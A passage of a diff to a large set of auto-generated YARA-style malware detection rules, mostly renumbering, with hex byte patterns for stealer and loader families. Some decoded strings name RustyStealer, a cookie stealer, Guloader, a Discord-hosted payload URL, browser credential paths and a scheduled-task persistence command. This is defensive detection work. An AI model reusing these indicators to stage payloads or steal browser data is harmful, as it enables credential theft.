((#a_54_0 & 1)*18467+(#a_00_1 & 1)*31080+(#a_74_2 & 1)*29441+(#a_36_3 & 1)*29537+(#a_30_4 & 1)*12342+(#a_00_6 & 1)*29048+(#a_41_8 & 1)*8448+(#a_55_9 & 1)*-32493+(#a_57_10 & 1)*28527+(#a_2d_11 & 1)*14692+(#a_73_13 & 1)*21249) >=14 } -rule _InfrastructureShared_18618{ +rule _InfrastructureShared_19800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -226480,7 +241043,7 @@ rule _InfrastructureShared_18618{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*-32496+(#a_73_2 & 1)*17005+(#a_01_3 & 1)*26977+(#a_61_4 & 1)*28239+(#a_69_5 & 1)*14958+(#a_00_7 & 1)*100+(#a_00_9 & 1)*97+(#a_00_11 & 1)*116+(#a_00_13 & 1)*97+(#a_01_14 & 1)*1) >=15 } -rule _InfrastructureShared_18619{ +rule _InfrastructureShared_19801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 11 00 21 " @@ -226503,7 +241066,7 @@ rule _InfrastructureShared_18619{ ((#a_46_0 & 1)*21283+(#a_07_1 & 1)*-81+(#a_00_3 & 1)*121+(#a_00_5 & 1)*120+(#a_63_6 & 1)*265+(#a_90_7 & 1)*-29952+(#a_05_8 & 1)*-28603+(#a_01_9 & 1)*-28579+(#a_03_10 & 1)*-28603+(#a_01_12 & 1)*-31349+(#a_74_13 & 1)*16943+(#a_70_14 & 1)*29742+(#a_65_15 & 1)*26977+(#a_01_16 & 1)*30720) >=25 } -rule _InfrastructureShared_18620{ +rule _InfrastructureShared_19802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " @@ -226520,7 +241083,7 @@ rule _InfrastructureShared_18620{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*17863+(#a_01_4 & 1)*-31349+(#a_74_5 & 1)*16943+(#a_70_6 & 1)*29742+(#a_65_7 & 1)*26977+(#a_01_8 & 1)*30720+(#a_00_10 & 1)*100) >=1 } -rule _InfrastructureShared_18621{ +rule _InfrastructureShared_19803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -226539,7 +241102,7 @@ rule _InfrastructureShared_18621{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*285+(#a_64_2 & 1)*12132+(#a_6f_3 & 1)*23664+(#a_74_4 & 1)*8291+(#a_4e_5 & 1)*18478+(#a_00_6 & 1)*108+(#a_73_7 & 1)*11634+(#a_00_8 & 1)*116+(#a_64_9 & 1)*30313) >=3 } -rule _InfrastructureShared_18622{ +rule _InfrastructureShared_19804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -226551,7 +241114,7 @@ rule _InfrastructureShared_18622{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_2 & 1)*144) >=4 } -rule _InfrastructureShared_18623{ +rule _InfrastructureShared_19805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -226564,7 +241127,7 @@ rule _InfrastructureShared_18623{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26998+(#a_66_2 & 1)*16384+(#a_00_4 & 1)*121) >=4 } -rule _InfrastructureShared_18624{ +rule _InfrastructureShared_19806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -226579,7 +241142,7 @@ rule _InfrastructureShared_18624{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_2 & 1)*84+(#a_00_4 & 1)*115+(#a_00_6 & 1)*100+(#a_00_8 & 1)*29304) >=7 } -rule _InfrastructureShared_18625{ +rule _InfrastructureShared_19807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -226596,7 +241159,7 @@ rule _InfrastructureShared_18625{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*26979+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_72_6 & 1)*0+(#a_6e_7 & 1)*28276) >=8 } -rule _InfrastructureShared_18626{ +rule _InfrastructureShared_19808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -226612,7 +241175,7 @@ rule _InfrastructureShared_18626{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*27745+(#a_2e_2 & 1)*28265+(#a_72_3 & 1)*26723+(#a_4d_5 & 1)*20224+(#a_61_6 & 1)*27753+(#a_00_8 & 1)*40) >=9 } -rule _InfrastructureShared_18627{ +rule _InfrastructureShared_19809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -226625,7 +241188,7 @@ rule _InfrastructureShared_18627{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*8251+(#a_00_2 & 1)*37+(#a_00_4 & 1)*101) >=14 } -rule _InfrastructureShared_18628{ +rule _InfrastructureShared_19810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -226639,7 +241202,7 @@ rule _InfrastructureShared_18628{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*300+(#a_2c_2 & 1)*2+(#a_30_3 & 1)*17971+(#a_45_4 & 1)*17976) >=3 } -rule _InfrastructureShared_18629{ +rule _InfrastructureShared_19811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -226648,27 +241211,13 @@ rule _InfrastructureShared_18629{ $a_00_1 = {70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 36 00 30 00 34 00 38 00 31 00 32 00 34 00 36 00 38 00 33 00 30 00 35 00 35 00 35 00 31 00 38 00 36 00 2f 00 39 00 36 00 39 00 } //116 ps://cdn.discordapp.com/attachments/960481246830555186/969 $a_00_2 = {33 00 35 00 30 00 30 00 30 00 38 00 33 00 33 00 38 00 38 00 34 00 31 00 36 00 2f 00 53 00 6e 00 75 00 62 00 6b 00 63 00 64 00 72 00 67 00 5f 00 53 00 6d 00 } //53 3500083388416/Snubkcdrg_Sm $a_00_3 = {65 00 65 00 6d 00 77 00 5f 00 31 00 2e 00 70 00 6e 00 67 00 01 00 1c 01 50 6d 6b 6a 67 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 26 01 50 6d 6b 6a 67 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 73 01 00 07 00 07 00 } //106 - $a_23_4 = {45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 75 73 74 79 53 74 65 61 6c 65 72 2e 47 50 58 42 } //5 EL:Trojan:Win64/RustyStealer.GPXB - $a_42_5 = {02 00 17 81 01 50 72 79 73 6d 61 78 20 53 74 65 61 6c 65 72 20 43 6f 6f 6b 69 65 73 02 00 63 81 01 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 4b 61 } //19745 + $a_23_4 = {53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 32 33 30 35 32 33 33 21 4d 54 42 00 } //7 + $a_81_5 = {4d 65 73 68 75 67 67 61 6e 61 } //1 Meshuggana condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116+(#a_00_2 & 1)*53+(#a_00_3 & 1)*106+(#a_23_4 & 1)*5+(#a_42_5 & 1)*19745) >=6 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116+(#a_00_2 & 1)*53+(#a_00_3 & 1)*106+(#a_23_4 & 1)*7+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_18630{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 75 73 74 79 53 74 65 61 6c 65 72 2e 47 50 58 42 21 4d 54 42 00 02 00 17 81 01 50 72 79 73 6d 61 78 20 53 74 65 61 6c 65 72 20 43 6f 6f 6b 69 65 73 02 00 63 81 01 57 } //21539 - $a_6f_1 = {73 20 44 65 66 65 6e 64 65 72 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 4b 61 73 70 65 72 73 6b 79 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 36 29 5c 4b 61 73 70 65 72 73 6b 79 20 4c 61 62 41 76 61 73 74 01 00 22 81 01 4c 4f } //28265 - $a_41_2 = {50 44 41 54 41 73 72 63 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6f 6b 69 65 73 2e 72 73 01 00 45 81 01 63 68 72 6f 6d 65 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 41 70 70 6c 69 63 61 74 69 6f 6e 5c 63 68 72 6f 6d 65 2e 65 78 65 47 6f } //16707 - $a_65_3 = {43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 65 64 67 65 01 00 48 81 01 73 63 68 74 61 73 6b 73 2f 44 65 6c 65 74 65 2f 54 4e 2f 43 72 65 61 74 65 2f 53 43 2f 52 4c 48 49 47 48 45 53 54 2f 52 55 4e 54 20 41 55 54 48 4f 52 49 54 59 5c 53 59 53 54 45 4d 2f 54 52 5b 43 4c 49 50 50 45 52 5d 00 00 78 73 01 00 07 00 07 00 07 } //26479 - $a_48_4 = {54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 32 33 30 35 32 33 33 21 4d 54 42 00 01 00 0a } //8448 - condition: - ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*28265+(#a_41_2 & 1)*16707+(#a_65_3 & 1)*26479+(#a_48_4 & 1)*8448) >=7 - -} -rule _InfrastructureShared_18631{ +rule _InfrastructureShared_19812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -226684,7 +241233,7 @@ rule _InfrastructureShared_18631{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*28484+(#a_61_2 & 1)*23667+(#a_73_3 & 1)*29806+(#a_49_4 & 1)*19770+(#a_00_5 & 1)*29706+(#a_57_6 & 1)*18773) >=7 } -rule _InfrastructureShared_18632{ +rule _InfrastructureShared_19813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " @@ -226700,7 +241249,7 @@ rule _InfrastructureShared_18632{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*29190+(#a_47_2 & 1)*-32476+(#a_4c_3 & 1)*20325+(#a_75_4 & 1)*29541+(#a_75_5 & 1)*12082+(#a_6f_6 & 1)*28261) >=8 } -rule _InfrastructureShared_18633{ +rule _InfrastructureShared_19814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -226717,7 +241266,7 @@ rule _InfrastructureShared_18633{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28531+(#a_64_2 & 1)*26739+(#a_74_3 & 1)*28531+(#a_6c_4 & 1)*24912+(#a_73_5 & 1)*25972+(#a_73_6 & 1)*28019+(#a_53_7 & 1)*8993) >=8 } -rule _InfrastructureShared_18634{ +rule _InfrastructureShared_19815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -226735,7 +241284,7 @@ rule _InfrastructureShared_18634{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28015+(#a_6b_2 & 1)*25968+(#a_61_3 & 1)*28532+(#a_73_4 & 1)*25956+(#a_61_5 & 1)*26994+(#a_6c_6 & 1)*25975+(#a_00_7 & 1)*66+(#a_5c_8 & 1)*385) >=9 } -rule _InfrastructureShared_18635{ +rule _InfrastructureShared_19816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -226751,7 +241300,7 @@ rule _InfrastructureShared_18635{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*25701+(#a_5c_2 & 1)*25959+(#a_6e_3 & 1)*25970+(#a_52_5 & 1)*21320+(#a_66_7 & 1)*21249+(#a_65_8 & 1)*23553) >=9 } -rule _InfrastructureShared_18636{ +rule _InfrastructureShared_19817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -226770,7 +241319,7 @@ rule _InfrastructureShared_18636{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29807+(#a_63_2 & 1)*29300+(#a_72_3 & 1)*27489+(#a_20_4 & 1)*30068+(#a_64_5 & 1)*29555+(#a_2c_6 & 1)*20037+(#a_00_7 & 1)*28001+(#a_00_8 & 1)*66+(#a_44_9 & 1)*384) >=10 } -rule _InfrastructureShared_18637{ +rule _InfrastructureShared_19818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -226788,7 +241337,7 @@ rule _InfrastructureShared_18637{ ((#a_6f_0 & 1)*28233+(#a_63_1 & 1)*25956+(#a_01_2 & 1)*5632+(#a_23_4 & 1)*18+(#a_44_6 & 1)*384+(#a_00_7 & 1)*25973+(#a_65_8 & 1)*384+(#a_6e_9 & 1)*29300+(#a_73_10 & 1)*24946) >=10 } -rule _InfrastructureShared_18638{ +rule _InfrastructureShared_19819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 12 00 21 " @@ -226813,7 +241362,7 @@ rule _InfrastructureShared_18638{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*25189+(#a_54_2 & 1)*-32760+(#a_6e_3 & 1)*29300+(#a_73_4 & 1)*30065+(#a_3a_5 & 1)*24938+(#a_42_7 & 1)*11776+(#a_76_8 & 1)*25939+(#a_00_10 & 1)*108+(#a_8d_11 & 1)*12324+(#a_48_12 & 1)*400+(#a_50_13 & 1)*17545+(#a_48_14 & 1)*30209+(#a_24_15 & 1)*-30392+(#a_48_16 & 1)*9284+(#a_24_17 & 1)*-30392) >=17 } -rule _InfrastructureShared_18639{ +rule _InfrastructureShared_19820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -226825,7 +241374,7 @@ rule _InfrastructureShared_18639{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_00_4 & 1)*118) >=1 } -rule _InfrastructureShared_18640{ +rule _InfrastructureShared_19821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -226836,7 +241385,7 @@ rule _InfrastructureShared_18640{ ((#a_4c_0 & 1)*21539+(#a_44_2 & 1)*18432) >=3 } -rule _InfrastructureShared_18641{ +rule _InfrastructureShared_19822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -226847,7 +241396,7 @@ rule _InfrastructureShared_18641{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-23165) >=4 } -rule _InfrastructureShared_18642{ +rule _InfrastructureShared_19823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -226860,7 +241409,7 @@ rule _InfrastructureShared_18642{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30580+(#a_75_2 & 1)*31008+(#a_72_3 & 1)*25970) >=4 } -rule _InfrastructureShared_18643{ +rule _InfrastructureShared_19824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -226875,7 +241424,7 @@ rule _InfrastructureShared_18643{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*119+(#a_00_3 & 1)*111+(#a_00_5 & 1)*108+(#a_45_6 & 1)*385+(#a_52_7 & 1)*8276) >=5 } -rule _InfrastructureShared_18644{ +rule _InfrastructureShared_19825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -226892,7 +241441,7 @@ rule _InfrastructureShared_18644{ ((#a_46_0 & 1)*16675+(#a_56_2 & 1)*18433+(#a_54_3 & 1)*22866+(#a_4f_4 & 1)*8267+(#a_6b_5 & 1)*26984+(#a_70_6 & 1)*21614+(#a_6e_7 & 1)*21353+(#a_00_8 & 1)*123) >=7 } -rule _InfrastructureShared_18645{ +rule _InfrastructureShared_19826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0b 00 21 " @@ -226911,7 +241460,7 @@ rule _InfrastructureShared_18645{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25972+(#a_56_2 & 1)*28516+(#a_00_4 & 1)*101+(#a_67_5 & 1)*12108+(#a_73_6 & 1)*26988+(#a_75_7 & 1)*29541+(#a_72_8 & 1)*29811+(#a_01_9 & 1)*32368+(#a_76_10 & 1)*31091) >=7 } -rule _InfrastructureShared_18646{ +rule _InfrastructureShared_19827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -226928,7 +241477,7 @@ rule _InfrastructureShared_18646{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29550+(#a_73_2 & 1)*28005+(#a_6f_3 & 1)*25938+(#a_53_4 & 1)*24940+(#a_07_5 & 1)*2560+(#a_76_6 & 1)*31091+(#a_73_7 & 1)*25458) >=8 } -rule _InfrastructureShared_18647{ +rule _InfrastructureShared_19828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -226946,7 +241495,7 @@ rule _InfrastructureShared_18647{ ((#a_54_0 & 1)*18467+(#a_17_1 & 1)*5120+(#a_00_2 & 1)*6912+(#a_6f_3 & 1)*25970+(#a_6e_4 & 1)*22330+(#a_67_5 & 1)*29797+(#a_6d_6 & 1)*26478+(#a_00_7 & 1)*29541+(#a_6f_8 & 1)*385) >=9 } -rule _InfrastructureShared_18648{ +rule _InfrastructureShared_19829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -226965,7 +241514,7 @@ rule _InfrastructureShared_18648{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*385+(#a_65_2 & 1)*24951+(#a_74_3 & 1)*28499+(#a_01_4 & 1)*30720+(#a_65_5 & 1)*23553+(#a_79_6 & 1)*26478+(#a_01_7 & 1)*7168+(#a_74_8 & 1)*26991+(#a_74_9 & 1)*25209) >=10 } -rule _InfrastructureShared_18649{ +rule _InfrastructureShared_19830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -226984,7 +241533,7 @@ rule _InfrastructureShared_18649{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29295+(#a_66_2 & 1)*27507+(#a_72_3 & 1)*26473+(#a_65_4 & 1)*27513+(#a_64_5 & 1)*29556+(#a_6b_6 & 1)*30064+(#a_4b_7 & 1)*29285+(#a_69_8 & 1)*29793+(#a_6d_9 & 1)*30585) >=10 } -rule _InfrastructureShared_18650{ +rule _InfrastructureShared_19831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -227003,7 +241552,7 @@ rule _InfrastructureShared_18650{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*5120+(#a_65_2 & 1)*25966+(#a_74_3 & 1)*28491+(#a_6c_4 & 1)*29811+(#a_72_5 & 1)*24929+(#a_00_6 & 1)*27502+(#a_5c_7 & 1)*385+(#a_4c_8 & 1)*8993+(#a_35_9 & 1)*24930) >=10 } -rule _InfrastructureShared_18651{ +rule _InfrastructureShared_19832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -227021,7 +241570,7 @@ rule _InfrastructureShared_18651{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28269+(#a_6f_2 & 1)*28769+(#a_01_3 & 1)*4608+(#a_31_4 & 1)*14689+(#a_75_5 & 1)*26982+(#a_2e_6 & 1)*31337+(#a_65_8 & 1)*384+(#a_6c_9 & 1)*27499) >=10 } -rule _InfrastructureShared_18652{ +rule _InfrastructureShared_19833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -227039,7 +241588,7 @@ rule _InfrastructureShared_18652{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*29779+(#a_54_2 & 1)*28487+(#a_72_4 & 1)*384+(#a_57_5 & 1)*21335+(#a_73_6 & 1)*29697+(#a_66_7 & 1)*8300+(#a_6c_8 & 1)*26987+(#a_5c_9 & 1)*30575) >=10 } -rule _InfrastructureShared_18653{ +rule _InfrastructureShared_19834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 0a 00 21 " @@ -227057,7 +241606,7 @@ rule _InfrastructureShared_18653{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*27756+(#a_6d_2 & 1)*12064+(#a_6c_3 & 1)*26987+(#a_5c_4 & 1)*30575+(#a_00_6 & 1)*101+(#a_00_7 & 1)*102+(#a_00_8 & 1)*115+(#a_00_9 & 1)*115) >=31 } -rule _InfrastructureShared_18654{ +rule _InfrastructureShared_19835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -227068,7 +241617,7 @@ rule _InfrastructureShared_18654{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32) >=2 } -rule _InfrastructureShared_18655{ +rule _InfrastructureShared_19836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -227082,7 +241631,7 @@ rule _InfrastructureShared_18655{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305+(#a_09_3 & 1)*11408+(#a_2d_4 & 1)*14637+(#a_25_5 & 1)*12544) >=3 } -rule _InfrastructureShared_18656{ +rule _InfrastructureShared_19837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -227096,7 +241645,7 @@ rule _InfrastructureShared_18656{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24922+(#a_30_2 & 1)*300+(#a_2c_3 & 1)*2+(#a_00_4 & 1)*112) >=4 } -rule _InfrastructureShared_18657{ +rule _InfrastructureShared_19838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -227110,7 +241659,7 @@ rule _InfrastructureShared_18657{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*14637+(#a_2d_2 & 1)*2305+(#a_09_3 & 1)*11408+(#a_2d_4 & 1)*14637) >=4 } -rule _InfrastructureShared_18658{ +rule _InfrastructureShared_19839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -227122,7 +241671,7 @@ rule _InfrastructureShared_18658{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-12251+(#a_04_2 & 1)*1804) >=5 } -rule _InfrastructureShared_18659{ +rule _InfrastructureShared_19840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -227136,7 +241685,7 @@ rule _InfrastructureShared_18659{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*25971+(#a_00_2 & 1)*101+(#a_00_3 & 1)*115+(#a_63_4 & 1)*12592) >=5 } -rule _InfrastructureShared_18660{ +rule _InfrastructureShared_19841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " @@ -227153,7 +241702,7 @@ rule _InfrastructureShared_18660{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305+(#a_2d_4 & 1)*2305+(#a_01_5 & 1)*-31093+(#a_2e_6 & 1)*19795+(#a_73_7 & 1)*26996+(#a_38_8 & 1)*13880+(#a_01_9 & 1)*12614) >=5 } -rule _InfrastructureShared_18661{ +rule _InfrastructureShared_19842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -227171,7 +241720,7 @@ rule _InfrastructureShared_18661{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_52_2 & 1)*29541+(#a_01_3 & 1)*25961+(#a_02_4 & 1)*11527+(#a_03_5 & 1)*-28486+(#a_03_6 & 1)*-28440+(#a_03_7 & 1)*-28488+(#a_03_8 & 1)*-28486) >=8 } -rule _InfrastructureShared_18662{ +rule _InfrastructureShared_19843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 08 00 0c 00 21 " @@ -227190,7 +241739,7 @@ rule _InfrastructureShared_18662{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*28019+(#a_71_2 & 1)*32100+(#a_ff_3 & 1)*400+(#a_00_4 & 1)*400+(#a_45_5 & 1)*3+(#a_6f_6 & 1)*29806+(#a_63_7 & 1)*30063+(#a_01_8 & 1)*30720+(#a_00_10 & 1)*101) >=8 } -rule _InfrastructureShared_18663{ +rule _InfrastructureShared_19844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0b 00 21 " @@ -227209,7 +241758,7 @@ rule _InfrastructureShared_18663{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-29335+(#a_64_2 & 1)*25964+(#a_76_3 & 1)*18689+(#a_00_4 & 1)*32+(#a_00_5 & 1)*97+(#a_00_7 & 1)*32+(#a_00_8 & 1)*112+(#a_00_9 & 1)*105+(#a_00_10 & 1)*101) >=20 } -rule _InfrastructureShared_18664{ +rule _InfrastructureShared_19845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -227220,7 +241769,7 @@ rule _InfrastructureShared_18664{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105) >=1 } -rule _InfrastructureShared_18665{ +rule _InfrastructureShared_19846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -227231,7 +241780,7 @@ rule _InfrastructureShared_18665{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116) >=2 } -rule _InfrastructureShared_18666{ +rule _InfrastructureShared_19847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -227247,7 +241796,7 @@ rule _InfrastructureShared_18666{ ((#a_54_0 & 1)*18467+(#a_35_2 & 1)*14658+(#a_36_3 & 1)*16690+(#a_39_4 & 1)*16692+(#a_43_5 & 1)*10496+(#a_32_6 & 1)*12856+(#a_00_8 & 1)*30328) >=2 } -rule _InfrastructureShared_18667{ +rule _InfrastructureShared_19848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -227261,7 +241810,7 @@ rule _InfrastructureShared_18667{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*14637+(#a_64_3 & 1)*11776+(#a_63_4 & 1)*29812+(#a_41_5 & 1)*11617) >=6 } -rule _InfrastructureShared_18668{ +rule _InfrastructureShared_19849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -227280,7 +241829,7 @@ rule _InfrastructureShared_18668{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*17473+(#a_78_2 & 1)*25710+(#a_6e_3 & 1)*26996+(#a_4d_4 & 1)*17473+(#a_32_5 & 1)*13874+(#a_49_6 & 1)*17747+(#a_45_7 & 1)*18758+(#a_0c_8 & 1)*-25499+(#a_2e_9 & 1)*25964) >=7 } -rule _InfrastructureShared_18669{ +rule _InfrastructureShared_19850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0b 00 21 " @@ -227300,7 +241849,7 @@ rule _InfrastructureShared_18669{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26977+(#a_00_2 & 1)*17477+(#a_4f_3 & 1)*384+(#a_01_4 & 1)*30821+(#a_47_5 & 1)*12851+(#a_6c_6 & 1)*385+(#a_66_7 & 1)*21249+(#a_6e_8 & 1)*26996+(#a_2e_9 & 